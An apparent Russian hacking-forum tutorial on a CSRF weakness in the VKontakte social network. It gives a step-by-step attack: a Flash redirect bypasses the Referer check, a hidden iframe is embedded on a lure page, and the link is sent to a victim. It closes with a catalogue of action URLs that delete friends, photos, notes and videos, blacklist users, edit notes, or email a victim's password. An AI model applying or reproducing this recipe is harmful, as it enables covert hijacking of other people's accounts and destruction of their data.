Уязвимость позволяет производить некоторые действия вконтакте от чужого имени.

В дальнейшем человека, от лица которого мы будем совершать эти действия, буду называть “жертва”.

Теория

Суть уязвимости:

1. Сайт вконтакте.ру устроен таким образом, что если закрыть страницу сайта, а потом снова ее открыть, страница откроется, не запросив пароль.

2. Сайту, как я понял, все равно каким методом мы посылаем данные из формы - GET или POST - он их обрабатывает одинакого.

Мы можем воспользоваться этим.

Сформировав определенный URL в адресной строке браузера, мы можем производить некоторые действия.

Но, сайт не так просто сделан.

1. В некоторых формах есть скрытые поля с секретным кодом. Не зная этот код, мы ничего не сможем сделать. Но узнать его не просто, поэтому такие формы я не буду затрагивать в статье.

2. Сайт проверяет значение $_SERVER['HTTP_REFERER'], но мы обойдем эту проверку с помощью Flash.

Для того, чтобы все отработало успешно, нужно:

1. Чтобы у жертвы в браузере был включен Flash. (У большинства людей, сидящих в этой социальной сети, он включен, т.к. без него не работают многие сервисы контакта: музыка, видео, приложения и т.д.)

2. Чтобы жертва была залогинена вконтакте. (Большинство людей не нажимают кнопку “Выход” вконтакте, даже когда выходят из-за компа, поэтому с этим условием, думаю, проблем тоже не возникнет.)

Для примера, попробуйте ввести в адресной строке браузера в новом окне следующий URL: http://vkontakte.ru/groups.php?act=enter&gid=777107

Вы автоматически вступили в группу “В Контакте | Безопасность”.

Теперь выйдите из группы и попробуйте перейти по точно такой же ссылке: http://vkontakte.ru/groups.php?act=enter&gid=777107

Теперь вступить в группу вам не удалось, а все по одной причине: переходя по ссылке с любого сайта, в контакт передается значение предыдущей страницы, и, в целях безопасности, он блокирует такие действия. Мы же, чуть позже, обойдем эту защиту.

Приведу еще пример - откройте в новом окне следующую страницу: http://vkontakte.ru/settings.php?act=addToBlackList&id=1

Вот и создатель этого сайта оказался у вас в игноре.

Подобным образом можно совершать разные действия (их список в конце статьи)

Понятно, что если вы кинете жертве подобную ссылку, жертва поймет, в чем подвох.

Мы же попытаемся открыть эту страницу незаметно для жертвы.

Но, прежде, чем использовать эту уязвимость на жертве, мы потренеруемся на себе.

В примере мы создадим скрипт, добавляющий людей в ту же группу -”В Контакте | Безопасность”.

От вас требуются элементарные знания HTML.

Выглядеть будет это так:

Мы кидаем жертве ссылку на наш сайт.

Жертва открывает эту ссылку.

На сайте находится скрытый фрэйм.

Этот фрэйм ссылается на специальный Flash-скрипт, который перенаправляет нас на все тот же адрес: http://vkontakte.ru/groups.php?act=enter&gid=777107.

Т.к. идет перенаправление через флэш, то адрес предыдущей страницы не передастся, а значит контакт выполнит наше действие.

Когда в скрытом фрэйме откроется эта страница, жертва незаметно добавится в группу “В Контакте | Безопасность”.

Приступим?

Практика.

Шаг 1. Создаем флэшку.

Для начала, создадим эту флэшку.

Для ее быстрого создания я написал специальный скрипт: http://swfgen.m0nster.tu2.ru

Скрипт запросит у вас URL. Вводите туда http://vkontakte.ru/groups.php?act=enter&gid=777107 и жмите “ОК“.

Скрипт вернет вам ссылку на готовую флэшку.

Качаем флэшку на комп и переименовываем в более читаемый вид. Пусть будет vkontakte.swf

Шаг 2. Создаем HTML страничку.

Теперь создаем HTML-страничку. Пусть она будет называться просто index.html.

Пишем там любую чушь, главное, чтоб не вызвать подозрения у жертвы, что тут что-то неладное.

Что написать на странице - дело ваше.

После этого вставляем куда-нибудь в тело странички скрытый <IFRAME>.

<iframe src=”vkontakte.swf” style=”width:10px; height:10px; padding:0; margin:0; position:absolute; left:-100; top:-100;”></iframe>

(На этом этапе может возникнуть вопрос, почему не сделать просто display:hidden, например. А потому, что в таком случае флэш не отработает)

Шаг 3.

Теперь у нас есть два файла: vkontakte.swf и index.html

Регистрируем какой-нибудь сайт на бесплатном хостинге.

Нам даже поддержка PHP не нужна, поэтому почти любой хостинг нам подойдет.

Загружаем на свеженький сайт наши файлы.

И попробуем открыть страничку index.html.

Открывается страничка, ничего странного вроде не наблюдается…

Теперь открываем нашу страницу Вконтакте и смотрим список групп - если там появилась группа “В Контакте | Безопасность”, значит, все отработало успешно.

Можно выйти из этой группы и снова открыть нашу страницу index.html, чтобы точно удостовериться, что все работает.

Все, мы научились делать это.

Теперь попробуем что-нибудь посложнее.

Давайте удалим какую-нибудь фотку у друга.

Для этого нужно знать ID фото.

Узнать его не сложно: открываем страницу просмотра нужной(а точнее ненужной) фотографии и смотрим адрес страницы.

Там что-то типа такого: http://vkontakte.ru/photos.php?act=show&id=1234567_987654321.

В этом случае ID фото будет 1234567_987654321. Вы же делаете по аналогии.

Когда узнали идентификатор фотографии, идем к уже знакомому скрипту, который сгенерирует нам флэшку.

Пишем в поле URL следующий код: http://vkontakte.ru/photos.php?act=do_fdelete&id=ИД_ФОТО

Дальше все уже знакомо: переименовываем флэшку, создаем HTML страничку, там <IFRAME>, ссылающийся на нашу флэшку.

Теперь кидаем ссылку на нашу страничку другу, и, если друг нажмет на ссылку, то фока у него должна исчезнуть.

Думаю, принцип вы поняли.

Теперь приведу список возможных действий, и требующийся для них URL.

http://vkontakte.ru/settings.php?act=addToBlackList&id=ИД

Добавить человека в черный список

http://vkontakte.ru/friend.php?act=do_delete&id=ИД

Удалить друга

http://vkontakte.ru/groups.php?act=enter&gid=ИД_ГРУППЫ

Вступить в группу

http://vkontakte.ru/groups.php?act=leave&gid=ИД_ГРУППЫ

Покинуть группу

http://vkontakte.ru/notes.php?act=do_delete&nid=ИД_ЗАМЕТКИ

Удалить заметку

http://vkontakte.ru/notes.php?act=update&nid=ИД_ЗАМЕТКИ&title=НОВЫЙ_ЗАГОЛОВОК&Post=ТЕКСТ_ЗАМЕТКИ&visible=0&commentable=0

Редактировать заметку

ИД заметки можно узнать из url при просмотре заметки.

visible - кто может просматривать заметку. commentable - кто может комментировать

могут принимать следующие значения:

0 - все

1 - Друзья и друзья друзей

2 - Только друзья

http://vkontakte.ru/video.php?act=do_delete&oid=ИД&id=ИД_ВИДЕО

Удалить видео

(ИД_ВИДЕО можно узнать из url при просмотре видео)

http://vkontakte.ru/photos.php?act=do_fdelete&id=ИД_ФОТО

Удалить фото

(узнать ид фото можно из url при просмотре фото.)

http://vkontakte.ru/settings.php?act=send

Выслать на почту жертвы письмо с её паролем





Пользователь 


Гость


Гость, мы рады вас видеть. Пожалуйста зарегистрируйтесь или авторизуйтесь!

Веб мастеру

  • Получи домен в .TK
  • Dle Шаблоны
  • Учебник uCoz
  • HTML цвета
  • -----------------------------------
  • Программы Разное
  • -----------------------------------
    Получи деньги на свой счет!

    Получить WMR-бонус на свой кошелек!

    ололо


    Друзья

    Счетчик


    ----------------
    Онлайн всего: 1
    Гостей: 1
    Пользователей: 0